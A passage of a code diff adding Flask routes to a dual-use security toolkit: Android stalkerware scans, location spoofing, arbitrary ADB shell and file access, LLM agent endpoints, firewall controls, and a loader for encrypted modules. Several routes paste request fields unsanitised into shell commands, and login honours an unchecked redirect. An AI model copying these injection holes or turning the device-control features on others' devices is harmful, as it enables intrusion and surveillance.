+@android_protect_bp.route('/honeypot/fake-location', methods=['POST']) +@login_required +def honeypot_fake_location(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + lat = data.get('lat') + lon = data.get('lon') + if not serial: + return jsonify({'error': 'No serial provided'}) + if lat is None or lon is None: + return jsonify({'error': 'lat and lon required'}) + return jsonify(_mgr().set_fake_location(serial, float(lat), float(lon))) + + +@android_protect_bp.route('/honeypot/random-location', methods=['POST']) +@login_required +def honeypot_random_location(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().set_random_fake_location(serial)) + + +@android_protect_bp.route('/honeypot/clear-location', methods=['POST']) +@login_required +def honeypot_clear_location(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().clear_fake_location(serial)) + + +@android_protect_bp.route('/honeypot/rotate-identity', methods=['POST']) +@login_required +def honeypot_rotate_identity(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().rotate_device_identity(serial)) + + +@android_protect_bp.route('/honeypot/fake-fingerprint', methods=['POST']) +@login_required +def honeypot_fake_fingerprint(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().generate_fake_fingerprint(serial)) + + +@android_protect_bp.route('/honeypot/activate', methods=['POST']) +@login_required +def honeypot_activate(): + data = request.get_json(silent=True) or {} + serial = data.get('serial', '').strip() + tier = data.get('tier', 1) + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().honeypot_activate(serial, int(tier))) + + +@android_protect_bp.route('/honeypot/deactivate', methods=['POST']) +@login_required +def honeypot_deactivate(): + serial = _serial() + if not serial: + return jsonify({'error': 'No serial provided'}) + return jsonify(_mgr().honeypot_deactivate(serial)) + + +@android_protect_bp.route('/honeypot/tracker-stats', methods=['POST']) +@login_required +def honeypot_tracker_stats(): + return jsonify(_mgr().get_tracker_stats()) + + +@android_protect_bp.route('/honeypot/update-domains', methods=['POST']) +@login_required +def honeypot_update_domains(): + return jsonify(_mgr().update_tracker_domains()) + + +# ── Direct (WebUSB) Mode — Command Relay ───────────────────────────────────── + +# Maps operation key → dict of {label: adb_shell_command} +_DIRECT_COMMANDS = { + 'scan_quick': { + 'packages': 'pm list packages', + 'devopt': 'settings get global development_settings_enabled', + 'adb_enabled': 'settings get global adb_enabled', + 'accessibility': 'settings get secure enabled_accessibility_services', + 'admins': 'dumpsys device_policy 2>/dev/null | head -60', + }, + 'scan_stalkerware': { + 'packages': 'pm list packages', + }, + 'scan_hidden': { + 'all': 'pm list packages', + 'launcher': 'cmd package query-activities -a android.intent.action.MAIN ' + '-c android.intent.category.LAUNCHER 2>/dev/null', + }, + 'scan_admins': { + 'admins': 'dumpsys device_policy 2>/dev/null | head -100', + }, + 'scan_accessibility': { + 'services': 'settings get secure enabled_accessibility_services', + }, + 'scan_listeners': { + 'listeners': 'cmd notification list-listeners 2>/dev/null || dumpsys notification 2>/dev/null | grep -i listener | head -30', + }, + 'scan_spyware': { + 'packages': 'pm list packages', + 'processes': 'ps -A 2>/dev/null | head -100', + }, + 'scan_integrity': { + 'secure': 'getprop ro.secure', + 'debuggable': 'getprop ro.debuggable', + 'fingerprint': 'getprop ro.build.fingerprint', + 'devopt': 'settings get global development_settings_enabled', + 'kernel': 'cat /proc/version', + }, + 'scan_processes': { + 'ps': 'ps -A 2>/dev/null | head -200', + }, + 'scan_certs': { + 'certs': 'ls /data/misc/user/0/cacerts-added/ 2>/dev/null || echo ""', + }, + 'scan_network': { + 'proxy': 'settings get global http_proxy', + 'dns1': 'getprop net.dns1', + 'dns2': 'getprop net.dns2', + 'private_dns': 'settings get global private_dns_mode', + 'private_dns_h': 'settings get global private_dns_specifier', + }, + 'scan_devopt': { + 'devopt': 'settings get global development_settings_enabled', + 'adb': 'settings get global adb_enabled', + 'adb_wifi': 'settings get global adb_wifi_enabled', + 'verifier': 'settings get global package_verifier_enable', + }, + 'perms_dangerous': { + 'packages': 'pm list packages', + }, +} + + +@android_protect_bp.route('/cmd', methods=['POST']) +@login_required +def direct_cmd(): + """Return ADB shell commands for Direct (WebUSB) mode.""" + data = request.get_json(silent=True) or {} + op = data.get('op', '').replace('/', '_').replace('-', '_') + cmds = _DIRECT_COMMANDS.get(op) + if cmds: + return jsonify({'commands': cmds, 'supported': True}) + return jsonify({'commands': {}, 'supported': False}) + + +@android_protect_bp.route('/parse', methods=['POST']) +@login_required +def direct_parse(): + """Analyze raw ADB shell output from Direct (WebUSB) mode.""" + import re + data = request.get_json(silent=True) or {} + op = data.get('op', '').replace('/', '_').replace('-', '_') + raw = data.get('raw', {}) + mgr = _mgr() + + def _pkgs(output): + """Parse 'pm list packages' output to a set of package names.""" + pkgs = set() + for line in (output or '').strip().split('\n'): + line = line.strip() + if line.startswith('package:'): + pkgs.add(line[8:].split('=')[0].strip()) + return pkgs + + try: + if op in ('scan_stalkerware', 'scan_quick', 'scan_spyware'): + packages = _pkgs(raw.get('packages', '')) + sigs = mgr._load_signatures() + found = [] + for family, fdata in sigs.get('stalkerware', {}).items(): + for pkg in fdata.get('packages', []): + if pkg in packages: + found.append({'name': family, 'package': pkg, + 'severity': fdata.get('severity', 'high'), + 'description': fdata.get('description', '')}) + for pkg in packages: + if pkg in set(sigs.get('suspicious_system_packages', [])): + found.append({'name': 'Suspicious System Package', 'package': pkg, + 'severity': 'high', + 'description': 'Package mimics a system app name'}) + matched = {f['package'] for f in found} + result = {'found': found, + 'clean_count': len(packages) - len(matched), + 'total': len(packages)} + if op == 'scan_quick': + result['developer_options'] = raw.get('devopt', '').strip() == '1' + result['accessibility_active'] = raw.get('accessibility', '').strip() not in ('', 'null') + return jsonify(result) + + elif op == 'scan_hidden': + all_pkgs = _pkgs(raw.get('all', '')) + launcher_out = raw.get('launcher', '') + launcher_pkgs = set() + for line in launcher_out.split('\n'): + line = line.strip() + if '/' in line: + launcher_pkgs.add(line.split('/')[0]) + hidden = sorted(all_pkgs - launcher_pkgs) + return jsonify({'hidden': hidden, 'total': len(all_pkgs), + 'hidden_count': len(hidden)}) + + elif op == 'scan_admins': + admins_raw = raw.get('admins', '') + active = [l.strip() for l in admins_raw.split('\n') + if 'ComponentInfo' in l or 'admin' in l.lower()] + return jsonify({'admins': active, 'count': len(active)}) + + elif op == 'scan_accessibility': + raw_val = raw.get('services', '').strip() + services = [s.strip() for s in raw_val.split(':') + if s.strip() and s.strip() != 'null'] + return jsonify({'services': services, 'count': len(services)}) + + elif op == 'scan_listeners': + lines = [l.strip() for l in raw.get('listeners', '').split('\n') if l.strip()] + return jsonify({'listeners': lines, 'count': len(lines)}) + + elif op == 'scan_integrity': + issues = [] + if raw.get('debuggable', '').strip() == '1': + issues.append({'issue': 'Kernel debuggable', 'severity': 'high', + 'detail': 'ro.debuggable=1'}) + if raw.get('secure', '').strip() == '0': + issues.append({'issue': 'Insecure kernel', 'severity': 'high', + 'detail': 'ro.secure=0'}) + if raw.get('devopt', '').strip() == '1': + issues.append({'issue': 'Developer options enabled', 'severity': 'medium', + 'detail': ''}) + return jsonify({'issues': issues, + 'fingerprint': raw.get('fingerprint', '').strip(), + 'kernel': raw.get('kernel', '').strip()}) + + elif op == 'scan_processes': + lines = [l for l in raw.get('ps', '').split('\n') if l.strip()] + return jsonify({'processes': lines, 'count': len(lines)}) + + elif op == 'scan_certs': + certs = [c.strip() for c in raw.get('certs', '').split('\n') + if c.strip() and not c.startswith('ls:')] + return jsonify({'user_certs': certs, 'count': len(certs), + 'risk': 'high' if certs else 'none'}) + + elif op == 'scan_network': + proxy = raw.get('proxy', '').strip() + return jsonify({ + 'proxy': proxy if proxy not in ('', 'null') else None, + 'dns_primary': raw.get('dns1', '').strip(), + 'dns_secondary': raw.get('dns2', '').strip(), + 'private_dns': raw.get('private_dns', '').strip(), + 'private_dns_h': raw.get('private_dns_h', '').strip(), + }) + + elif op == 'scan_devopt': + def flag(k): return raw.get(k, '').strip() == '1' + issues = [] + if flag('devopt'): issues.append({'setting': 'Developer options', 'risk': 'medium'}) + if flag('adb'): issues.append({'setting': 'ADB enabled', 'risk': 'medium'}) + if flag('adb_wifi'): issues.append({'setting': 'ADB over WiFi', 'risk': 'high'}) + if raw.get('verifier', '').strip() == '0': + issues.append({'setting': 'Package verifier disabled', 'risk': 'high'}) + return jsonify({'settings': issues}) + + elif op == 'perms_dangerous': + packages = sorted(_pkgs(raw.get('packages', ''))) + return jsonify({'packages': packages, 'count': len(packages), + 'note': 'Full permission analysis requires Server mode (needs per-package dumpsys)'}) + + else: + return jsonify({'error': f'Direct mode parse not implemented for: {op}. Use Server mode.'}), 200 + + except Exception as exc: + return jsonify({'error': str(exc)}) diff --git a/web/routes/archon.py b/web/routes/archon.py new file mode 100644 index 0000000..9f0b600 --- /dev/null +++ b/web/routes/archon.py @@ -0,0 +1,261 @@ +"""Archon route — privileged Android device management via ArchonServer.""" + +from flask import Blueprint, render_template, request, jsonify +from web.auth import login_required + +archon_bp = Blueprint('archon', __name__, url_prefix='/archon') + + +@archon_bp.route('/') +@login_required +def index(): + return render_template('archon.html') + + +@archon_bp.route('/shell', methods=['POST']) +@login_required +def shell(): + """Run a shell command on the connected device via ADB.""" + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + command = data.get('command', '').strip() + if not command: + return jsonify({'error': 'No command'}) + + # Find connected device + devices = mgr.adb_devices() + if not devices: + return jsonify({'stdout': '', 'stderr': 'No ADB device connected', 'exit_code': -1}) + + serial = devices[0].get('serial', '') + result = mgr.adb_shell(serial, command) + return jsonify({ + 'stdout': result.get('output', ''), + 'stderr': '', + 'exit_code': result.get('returncode', -1), + }) + + +@archon_bp.route('/pull', methods=['POST']) +@login_required +def pull(): + """Pull a file from device to AUTARCH server.""" + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + remote = data.get('remote', '').strip() + if not remote: + return jsonify({'error': 'No remote path'}) + + devices = mgr.adb_devices() + if not devices: + return jsonify({'error': 'No ADB device connected'}) + + serial = devices[0].get('serial', '') + result = mgr.adb_pull(serial, remote) + return jsonify(result) + + +@archon_bp.route('/push', methods=['POST']) +@login_required +def push(): + """Push a file from AUTARCH server to device.""" + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + local = data.get('local', '').strip() + remote = data.get('remote', '').strip() + if not local or not remote: + return jsonify({'error': 'Missing local or remote path'}) + + devices = mgr.adb_devices() + if not devices: + return jsonify({'error': 'No ADB device connected'}) + + serial = devices[0].get('serial', '') + result = mgr.adb_push(serial, local, remote) + return jsonify(result) + + +@archon_bp.route('/packages', methods=['GET']) +@login_required +def packages(): + """List installed packages.""" + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + devices = mgr.adb_devices() + if not devices: + return jsonify({'error': 'No device'}) + + serial = devices[0].get('serial', '') + show_system = request.args.get('system', 'false') == 'true' + flag = '-f' if not show_system else '-f -s' + result = mgr.adb_shell(serial, f'pm list packages {flag}') + output = result.get('output', '') + + pkgs = [] + for line in output.strip().split('\n'): + if line.startswith('package:'): + # format: package:/path/to/apk=com.package.name + parts = line[8:].split('=', 1) + if len(parts) == 2: + pkgs.append({'apk': parts[0], 'package': parts[1]}) + else: + pkgs.append({'apk': '', 'package': parts[0]}) + + return jsonify({'packages': pkgs, 'count': len(pkgs)}) + + +@archon_bp.route('/grant', methods=['POST']) +@login_required +def grant_permission(): + """Grant a permission to a package.""" + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + package = data.get('package', '').strip() + permission = data.get('permission', '').strip() + if not package or not permission: + return jsonify({'error': 'Missing package or permission'}) + + devices = mgr.adb_devices() + if not devices: + return jsonify({'error': 'No device'}) + + serial = devices[0].get('serial', '') + result = mgr.adb_shell(serial, f'pm grant {package} {permission}') + return jsonify({ + 'success': result.get('returncode', -1) == 0, + 'output': result.get('output', ''), + }) + + +@archon_bp.route('/revoke', methods=['POST']) +@login_required +def revoke_permission(): + """Revoke a permission from a package.""" + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + package = data.get('package', '').strip() + permission = data.get('permission', '').strip() + if not package or not permission: + return jsonify({'error': 'Missing package or permission'}) + + devices = mgr.adb_devices() + if not devices: + return jsonify({'error': 'No device'}) + + serial = devices[0].get('serial', '') + result = mgr.adb_shell(serial, f'pm revoke {package} {permission}') + return jsonify({ + 'success': result.get('returncode', -1) == 0, + 'output': result.get('output', ''), + }) + + +@archon_bp.route('/app-ops', methods=['POST']) +@login_required +def app_ops(): + """Set an appops permission for a package.""" + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + package = data.get('package', '').strip() + op = data.get('op', '').strip() + mode = data.get('mode', '').strip() # allow, deny, ignore, default + if not package or not op or not mode: + return jsonify({'error': 'Missing package, op, or mode'}) + + devices = mgr.adb_devices() + if not devices: + return jsonify({'error': 'No device'}) + + serial = devices[0].get('serial', '') + result = mgr.adb_shell(serial, f'cmd appops set {package} {op} {mode}') + return jsonify({ + 'success': result.get('returncode', -1) == 0, + 'output': result.get('output', ''), + }) + + +@archon_bp.route('/settings-cmd', methods=['POST']) +@login_required +def settings_cmd(): + """Read or write Android system settings.""" + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + namespace = data.get('namespace', 'system').strip() # system, secure, global + action = data.get('action', 'get').strip() # get, put + key = data.get('key', '').strip() + value = data.get('value', '').strip() + + if namespace not in ('system', 'secure', 'global'): + return jsonify({'error': 'Invalid namespace'}) + if not key: + return jsonify({'error': 'Missing key'}) + + devices = mgr.adb_devices() + if not devices: + return jsonify({'error': 'No device'}) + + serial = devices[0].get('serial', '') + + if action == 'put' and value: + cmd = f'settings put {namespace} {key} {value}' + else: + cmd = f'settings get {namespace} {key}' + + result = mgr.adb_shell(serial, cmd) + return jsonify({ + 'value': result.get('output', '').strip(), + 'exit_code': result.get('returncode', -1), + }) + + +@archon_bp.route('/file-list', methods=['POST']) +@login_required +def file_list(): + """List files in a directory on the device.""" + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + path = data.get('path', '/').strip() + + devices = mgr.adb_devices() + if not devices: + return jsonify({'error': 'No device'}) + + serial = devices[0].get('serial', '') + result = mgr.adb_shell(serial, f'ls -la {path}') + return jsonify({ + 'path': path, + 'output': result.get('output', ''), + 'exit_code': result.get('returncode', -1), + }) + + +@archon_bp.route('/file-copy', methods=['POST']) +@login_required +def file_copy(): + """Copy a file on the device (elevated shell can access protected paths).""" + from core.hardware import get_hardware_manager + mgr = get_hardware_manager() + data = request.get_json(silent=True) or {} + src = data.get('src', '').strip() + dst = data.get('dst', '').strip() + if not src or not dst: + return jsonify({'error': 'Missing src or dst'}) + + devices = mgr.adb_devices() + if not devices: + return jsonify({'error': 'No device'}) + + serial = devices[0].get('serial', '') + result = mgr.adb_shell(serial, f'cp -r {src} {dst}') + return jsonify({ + 'success': result.get('returncode', -1) == 0, + 'output': result.get('output', ''), + }) diff --git a/web/routes/auth_routes.py b/web/routes/auth_routes.py new file mode 100644 index 0000000..f64d43a --- /dev/null +++ b/web/routes/auth_routes.py @@ -0,0 +1,61 @@ +"""Auth routes - login, logout, password change""" + +from flask import Blueprint, render_template, request, redirect, url_for, session, flash, jsonify +from web.auth import check_password, hash_password, load_credentials, save_credentials + +auth_bp = Blueprint('auth', __name__) + + +@auth_bp.route('/login', methods=['GET', 'POST']) +def login(): + if 'user' in session: + return redirect(url_for('dashboard.index')) + + if request.method == 'POST': + username = request.form.get('username', '') + password = request.form.get('password', '') + creds = load_credentials() + + if username == creds['username'] and check_password(password, creds['password']): + session['user'] = username + if creds.get('force_change'): + flash('Please change the default password.', 'warning') + return redirect(url_for('settings.index')) + next_url = request.args.get('next', url_for('dashboard.index')) + return redirect(next_url) + else: + flash('Invalid credentials.', 'error') + + return render_template('login.html') + + +@auth_bp.route('/api/login', methods=['POST']) +def api_login(): + """JSON login endpoint for the companion app.""" + data = request.get_json(silent=True) or {} + username = data.get('username', '') + password = data.get('password', '') + + if not username or not password: + return jsonify({'ok': False, 'error': 'Missing username or password'}), 400 + + creds = load_credentials() + if username == creds['username'] and check_password(password, creds['password']): + session['user'] = username + return jsonify({'ok': True, 'user': username}) + else: + return jsonify({'ok': False, 'error': 'Invalid credentials'}), 401 + + +@auth_bp.route('/api/check', methods=['GET']) +def api_check(): + """Check if the current session is authenticated.""" + if 'user' in session: + return jsonify({'ok': True, 'user': session['user']}) + return jsonify({'ok': False}), 401 + + +@auth_bp.route('/logout') +def logout(): + session.clear() + return redirect(url_for('auth.login')) diff --git a/web/routes/chat.py b/web/routes/chat.py new file mode 100644 index 0000000..9e58919 --- /dev/null +++ b/web/routes/chat.py @@ -0,0 +1,123 @@ +"""Chat and Agent API routes — LLM chat SSE stream + autonomous agent run/stream/stop.""" + +import json +import threading +import time +import uuid +from flask import Blueprint, request, jsonify, Response +from web.auth import login_required + +chat_bp = Blueprint('chat', __name__, url_prefix='/api') + +_agent_runs: dict = {} # run_id -> {'steps': [], 'done': bool, 'stop': threading.Event} + + +@chat_bp.route('/chat', methods=['POST']) +@login_required +def chat(): + """Stream LLM response token-by-token via SSE.""" + data = request.get_json(silent=True) or {} + message = data.get('message', '').strip() + if not message: + return jsonify({'error': 'No message provided'}) + + def generate(): + try: + from core.llm import get_llm + llm = get_llm() + for token in llm.chat(message, stream=True): + yield f"data: {json.dumps({'token': token})}\n\n" + yield f"data: {json.dumps({'done': True})}\n\n" + except Exception as e: + yield f"data: {json.dumps({'error': str(e)})}\n\n" + + return Response(generate(), mimetype='text/event-stream', + headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'}) + + +@chat_bp.route('/chat/reset', methods=['POST']) +@login_required +def chat_reset(): + """Clear LLM conversation history.""" + try: + from core.llm import get_llm + llm = get_llm() + if hasattr(llm, 'reset'): + llm.reset() + elif hasattr(llm, 'conversation_history'): + llm.conversation_history = [] + except Exception: + pass + return jsonify({'ok': True}) + + +@chat_bp.route('/agent/run', methods=['POST']) +@login_required +def agent_run(): + """Start an autonomous agent run in a background thread. Returns run_id.""" + data = request.get_json(silent=True) or {} + task = data.get('task', '').strip() + if not task: + return jsonify({'error': 'No task provided'}) + + run_id = str(uuid.uuid4()) + stop_event = threading.Event() + steps = [] + _agent_runs[run_id] = {'steps': steps, 'done': False, 'stop': stop_event} + + def worker(): + try: + from core.agent import Agent + from core.tools import get_tool_registry + agent = Agent(tool_registry=get_tool_registry(), verbose=False) + + def on_step(step): + steps.append({'type': 'thought', 'content': step.thought}) + if step.tool_name and step.tool_name not in ('task_complete', 'ask_user'): + steps.append({'type': 'action', 'content': f"{step.tool_name}({json.dumps(step.tool_args or {})})"}) + if step.tool_result: + steps.append({'type': 'result', 'content': step.tool_result[:600]}) + + agent.run(task, step_callback=on_step) + except Exception as e: + steps.append({'type': 'error', 'content': str(e)}) + finally: + _agent_runs[run_id]['done'] = True + + threading.Thread(target=worker, daemon=True).start() + return jsonify({'run_id': run_id}) + + +@chat_bp.route('/agent/stream/') +@login_required +def agent_stream(run_id): + """SSE stream of agent steps for a given run_id.""" + def generate(): + run = _agent_runs.get(run_id) + if not run: + yield f"data: {json.dumps({'error': 'Run not found'})}\n\n" + return + sent = 0 + while True: + steps = run['steps'] + while sent < len(steps): + yield f"data: {json.dumps(steps[sent])}\n\n" + sent += 1 + if run['done']: + yield f"data: {json.dumps({'done': True})}\n\n" + return + time.sleep(0.15) + + return Response(generate(), mimetype='text/event-stream', + headers={'Cache-Control': 'no-cache', 'X-Accel-Buffering': 'no'}) + + +@chat_bp.route('/agent/stop/', methods=['POST']) +@login_required +def agent_stop(run_id): + """Signal a running agent to stop.""" + run = _agent_runs.get(run_id) + if run: + run['stop'].set() + run['done'] = True + return jsonify({'stopped': bool(run)}) diff --git a/web/routes/counter.py b/web/routes/counter.py new file mode 100644 index 0000000..072e616 --- /dev/null +++ b/web/routes/counter.py @@ -0,0 +1,96 @@ +"""Counter-intelligence category route - threat detection and login analysis endpoints.""" + +from flask import Blueprint, render_template, request, jsonify +from web.auth import login_required + +counter_bp = Blueprint('counter', __name__, url_prefix='/counter') + + +@counter_bp.route('/') +@login_required +def index(): + from core.menu import MainMenu + menu = MainMenu() + menu.load_modules() + modules = {k: v for k, v in menu.modules.items() if v.category == 'counter'} + return render_template('counter.html', modules=modules) + + +@counter_bp.route('/scan', methods=['POST']) +@login_required +def scan(): + """Run full threat scan.""" + from modules.counter import Counter as CounterModule + c = CounterModule() + c.check_suspicious_processes() + c.check_network_connections() + c.check_login_anomalies() + c.check_file_integrity() + c.check_scheduled_tasks() + c.check_rootkits() + + high = sum(1 for t in c.threats if t['severity'] == 'high') + medium = sum(1 for t in c.threats if t['severity'] == 'medium') + low = sum(1 for t in c.threats if t['severity'] == 'low') + + return jsonify({ + 'threats': c.threats, + 'summary': f'{len(c.threats)} threats found ({high} high, {medium} medium, {low} low)', + }) + + +@counter_bp.route('/check/', methods=['POST']) +@login_required +def check(check_name): + """Run individual threat check.""" + from modules.counter import Counter as CounterModule + c = CounterModule() + + checks_map = { + 'processes': c.check_suspicious_processes, + 'network': c.check_network_connections, + 'logins': c.check_login_anomalies, + 'integrity': c.check_file_integrity, + 'tasks': c.check_scheduled_tasks, + 'rootkits': c.check_rootkits, + } + + func = checks_map.get(check_name) + if not func: + return jsonify({'error': f'Unknown check: {check_name}'}), 400 + + func() + + if not c.threats: + return jsonify({'threats': [], 'message': 'No threats found'}) + return jsonify({'threats': c.threats}) + + +@counter_bp.route('/logins') +@login_required +def logins(): + """Login anomaly analysis with GeoIP enrichment.""" + from modules.counter import Counter as CounterModule + c = CounterModule() + attempts = c.parse_auth_logs() + + if not attempts: + return jsonify({'attempts': [], 'error': 'No failed login attempts found or could not read logs'}) + + # Enrich top 15 IPs with GeoIP + sorted_ips = sorted(attempts.values(), key=lambda x: x.count, reverse=True)[:15] + c.enrich_login_attempts({a.ip: a for a in sorted_ips}, show_progress=False) + + result = [] + for attempt in sorted_ips: + result.append({ + 'ip': attempt.ip, + 'count': attempt.count, + 'usernames': attempt.usernames[:10], + 'country': attempt.country or '', + 'city': attempt.city or '', + 'isp': attempt.isp or '', + 'hostname': attempt.hostname or '', + }) + + return jsonify({'attempts': result}) diff --git a/web/routes/dashboard.py b/web/routes/dashboard.py new file mode 100644 index 0000000..8322869 --- /dev/null +++ b/web/routes/dashboard.py @@ -0,0 +1,118 @@ +"""Dashboard route - main landing page""" + +import platform +import shutil +import socket +import time +from datetime import datetime +from pathlib import Path +from flask import Blueprint, render_template, current_app +from markupsafe import Markup +from web.auth import login_required + +dashboard_bp = Blueprint('dashboard', __name__) + + +def get_system_info(): + info = { + 'hostname': socket.gethostname(), + 'platform': platform.platform(), + 'python': platform.python_version(), + 'arch': platform.machine(), + } + try: + info['ip'] = socket.gethostbyname(socket.gethostname()) + except Exception: + info['ip'] = '127.0.0.1' + + # Uptime + try: + with open('/proc/uptime') as f: + uptime_secs = float(f.read().split()[0]) + days = int(uptime_secs // 86400) + hours = int((uptime_secs % 86400) // 3600) + info['uptime'] = f"{days}d {hours}h" + except Exception: + info['uptime'] = 'N/A' + + return info + + +def get_tool_status(): + from core.paths import find_tool + tools = {} + for tool in ['nmap', 'tshark', 'upnpc', 'msfrpcd', 'wg']: + tools[tool] = find_tool(tool) is not None + return tools + + +def get_module_counts(): + from core.menu import MainMenu + menu = MainMenu() + menu.load_modules() + counts = {} + for name, info in menu.modules.items(): + cat = info.category + counts[cat] = counts.get(cat, 0) + 1 + counts['total'] = len(menu.modules) + return counts + + +@dashboard_bp.route('/') +@login_required +def index(): + config = current_app.autarch_config + system = get_system_info() + tools = get_tool_status() + modules = get_module_counts() + + # LLM status + llm_backend = config.get('autarch', 'llm_backend', fallback='local') + if llm_backend == 'transformers': + llm_model = config.get('transformers', 'model_path', fallback='') + elif llm_backend == 'claude': + llm_model = config.get('claude', 'model', fallback='') + elif llm_backend == 'huggingface': + llm_model = config.get('huggingface', 'model', fallback='') + else: + llm_model = config.get('llama', 'model_path', fallback='') + + # UPnP status + upnp_enabled = config.get_bool('upnp', 'enabled', fallback=False) + + return render_template('dashboard.html', + system=system, + tools=tools, + modules=modules, + llm_backend=llm_backend, + llm_model=llm_model, + upnp_enabled=upnp_enabled, + ) + + +@dashboard_bp.route('/manual') +@login_required +def manual(): + """Render the user manual as HTML.""" + manual_path = Path(__file__).parent.parent.parent / 'user_manual.md' + content = manual_path.read_text(encoding='utf-8') if manual_path.exists() else '# Manual not found' + try: + import markdown + html = markdown.markdown(content, extensions=['tables', 'fenced_code', 'toc']) + except ImportError: + html = '
    ' + content.replace('<', '<') + '
    ' + return render_template('manual.html', manual_html=Markup(html)) + + +@dashboard_bp.route('/manual/windows') +@login_required +def manual_windows(): + """Render the Windows-specific user manual.""" + manual_path = Path(__file__).parent.parent.parent / 'windows_manual.md' + content = manual_path.read_text(encoding='utf-8') if manual_path.exists() else '# Windows manual not found' + try: + import markdown + html = markdown.markdown(content, extensions=['tables', 'fenced_code', 'toc']) + except ImportError: + html = '
    ' + content.replace('<', '<') + '
    ' + return render_template('manual.html', manual_html=Markup(html)) diff --git a/web/routes/defense.py b/web/routes/defense.py new file mode 100644 index 0000000..bf97edb --- /dev/null +++ b/web/routes/defense.py @@ -0,0 +1,134 @@ +"""Defense category route - security audit, firewall, and log analysis endpoints.""" + +import re +import subprocess +from flask import Blueprint, render_template, request, jsonify +from web.auth import login_required + +defense_bp = Blueprint('defense', __name__, url_prefix='/defense') + + +def _run_cmd(cmd, timeout=10): + try: + result = subprocess.run(cmd, shell=True, capture_output=True, text=True, timeout=timeout) + return result.returncode == 0, result.stdout.strip() + except Exception: + return False, "" + + +@defense_bp.route('/') +@login_required +def index(): + from core.menu import MainMenu + menu = MainMenu() + menu.load_modules() + modules = {k: v for k, v in menu.modules.items() if v.category == 'defense'} + return render_template('defense.html', modules=modules) + + +@defense_bp.route('/audit', methods=['POST']) +@login_required +def audit(): + """Run full security audit.""" + from modules.defender import Defender + d = Defender() + d.check_firewall() + d.check_ssh_config() + d.check_open_ports() + d.check_users() + d.check_permissions() + d.check_services() + d.check_fail2ban() + d.check_selinux() + + passed = sum(1 for r in d.results if r['passed']) + total = len(d.results) + score = int((passed / total) * 100) if total > 0 else 0 + + return jsonify({ + 'score': score, + 'passed': passed, + 'total': total, + 'checks': d.results + }) + + +@defense_bp.route('/check/', methods=['POST']) +@login_required +def check(check_name): + """Run individual security check.""" + from modules.defender import Defender + d = Defender() + + checks_map = { + 'firewall': d.check_firewall, + 'ssh': d.check_ssh_config, + 'ports': d.check_open_ports, + 'users': d.check_users, + 'permissions': d.check_permissions, + 'services': d.check_services, + 'fail2ban': d.check_fail2ban, + 'selinux': d.check_selinux, + } + + func = checks_map.get(check_name) + if not func: + return jsonify({'error': f'Unknown check: {check_name}'}), 400 + + func() + return jsonify({'checks': d.results}) + + +@defense_bp.route('/firewall/rules') +@login_required +def firewall_rules(): + """Get current iptables rules.""" + success, output = _run_cmd("sudo iptables -L -n --line-numbers 2>/dev/null") + if success: + return jsonify({'rules': output}) + return jsonify({'rules': 'Could not read iptables rules (need sudo privileges)'}) + + +@defense_bp.route('/firewall/block', methods=['POST']) +@login_required +def firewall_block(): + """Block an IP address.""" + data = request.get_json(silent=True) or {} + ip = data.get('ip', '').strip() + if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip): + return jsonify({'error': 'Invalid IP address', 'success': False}) + + success, _ = _run_cmd(f"sudo iptables -A INPUT -s {ip} -j DROP") + if success: + return jsonify({'message': f'Blocked {ip}', 'success': True}) + return jsonify({'error': f'Failed to block {ip} (need sudo)', 'success': False}) + + +@defense_bp.route('/firewall/unblock', methods=['POST']) +@login_required +def firewall_unblock(): + """Unblock an IP address.""" + data = request.get_json(silent=True) or {} + ip = data.get('ip', '').strip() + if not ip or not re.match(r'^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}$', ip): + return jsonify({'error': 'Invalid IP address', 'success': False}) + + success, _ = _run_cmd(f"sudo iptables -D INPUT -s {ip} -j DROP") + if success: + return jsonify({'message': f'Unblocked {ip}', 'success': True}) + return jsonify({'error': f'Failed to unblock {ip}', 'success': False}) + + +@defense_bp.route('/logs/analyze', methods=['POST']) +@login_required +def logs_analyze(): + """Analyze auth and web logs.""" + from modules.defender import Defender + d = Defender() + auth_results = d._analyze_auth_log() + web_results = d._analyze_web_logs() + + return jsonify({ + 'auth_results': auth_results[:20], + 'web_results': web_results[:20], + }) diff --git a/web/routes/encmodules.py b/web/routes/encmodules.py new file mode 100644 index 0000000..d7ec43b --- /dev/null +++ b/web/routes/encmodules.py @@ -0,0 +1,333 @@ +"""Encrypted Modules — load and execute AES-encrypted Python modules.""" + +import io +import json +import os +import sys +import threading +import time +import uuid +from pathlib import Path + +from flask import (Blueprint, Response, jsonify, render_template, + request, session) +from web.auth import login_required + +encmodules_bp = Blueprint('encmodules', __name__, url_prefix='/encmodules') + +# ── Storage ─────────────────────────────────────────────────────────────────── + +def _module_dir() -> Path: + from core.paths import get_app_dir + d = get_app_dir() / 'modules' / 'encrypted' + d.mkdir(parents=True, exist_ok=True) + return d + + +# ── Module metadata ─────────────────────────────────────────────────────────── + +_DISPLAY_NAMES = { + 'tor_pedo_hunter_killer': 'TOR-Pedo Hunter Killer', + 'tor-pedo_hunter_killer': 'TOR-Pedo Hunter Killer', + 'tphk': 'TOR-Pedo Hunter Killer', + 'poison_pill': 'Poison Pill', + 'poisonpill': 